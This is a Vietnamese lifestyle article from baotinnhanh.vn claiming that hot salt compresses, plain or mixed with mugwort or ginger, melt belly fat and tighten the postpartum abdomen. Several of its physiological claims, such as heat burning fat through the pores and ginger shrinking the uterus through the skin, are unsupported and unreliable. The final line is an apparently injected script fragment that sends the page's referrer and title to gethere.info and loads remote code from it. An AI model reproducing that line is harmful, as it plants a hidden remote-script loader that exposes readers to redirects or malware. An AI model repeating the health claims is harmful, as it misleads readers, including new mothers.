(Baotinnhanh.vn) – Muối ăn ngoài tác dụng để nấu ăn, thì việc kết hợp với một số cây, củ, hay rau quả khác lại cho những tác dụng thật bất ngờ. Đặc biệt là với chị em có vòng 2 “màu mỡ”, nếu biết cách sử dụng, muối ăn sẽ giúp các chị cải thiện được vòng 2 một cách rất hiệu quả.
Đắp muối rang
Nếu dùng túi muối còn ấm đắp lên bụng và chườm, hơi nóng tỏa ra từ muối sẽ kích thích lỗ chân lông giãn nở, đốt cháy chất béo và đào thải ra ngoài. Lợi dụng nhiệt độ của muối rang để làm tan chảy mỡ bụng, hơi nóng của muối sẽ giúp vùng bụng thêm săn chắc, gọn gàng.
Cách làm: Các mẹ chỉ cần chuẩn bị 1 kg muối hột, đem rang khô và nóng lên. Sau đó cho muối vào túi vải và đắp lên bụng.
Muối ngải cứu
Muối và ngải cứu
Muối ngải cứu ấm chườm bụng có tác dụng rất tốt cho bà mẹ sau sinh. Muối nóng cho vùng bụng thêm săn chắc. Lưu ý là chị em khi cần chườm nóng thì chỉ cần cho túi muối vào lò vi sóng làm nóng lại là có thể sử dụng được.
Cách làm: Sử dụng 1 bó ngải cứu xao vàng, trộn với hỗn hợp 1kg muối hột rang, cho tất cả vào túi để chườm bụng khi còn nóng. Mỗi ngày chườm 1-2 lần sẽ có tác dụng rất tốt.
Muối gừng
Muối và gừng
Vì gừng cũng có tác dụng làm nóng, chất gingerol trong gừng có khả năng chuyển hóa chất béo nhanh nên kết hợp với gừng giúp tăng công dụng đốt cháy mỡ. Giúp bụng gọn gàng nhanh chóng. Gừng có tác dụng cầm máu nên khi đắp gừng trên da cùng muối hột đã rang thì mạch tử cung co hồi nhanh, ra huyết ít, mạch máu vùng bụng cũng co lại làm phần bụng rỗng sau khi sinh nhỏ dần đi.
Cách làm: Sử dụng 1kg muối hột và 1 kg gừng. Rửa sạch, giã nát gừng và rang lên cùng muối. Đổ tất cả vào túi vải và chườm sau khi ăn no. Ngày làm ba lần sẽ giúp bụng gọn gàng nhanh chóng.
(Ảnh minh họa)
Tất nhiên, chúng tôi vẫn khuyến khích các chị em, bên cạnh việc áp dụng các biện pháp giảm cân, giảm mỡ, theo sách vở, thì cách tốt nhất và để tăng hiệu quả, chúng ta nên biết cách chăm sóc bản thân bằng việc kết hợp với tập thể dục, vận động một cách khoa học, ăn uống điều độ, ngủ đúng giấc. Sẽ chẳng có gì được gọi là “thần chú” hô có thành không, không thành có. Chúng ta đều phải lắng nghe và biết trả lời cơ thể mình, vì chỉ có mình mới hiểu.
Theo baotinnhanh.vn
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
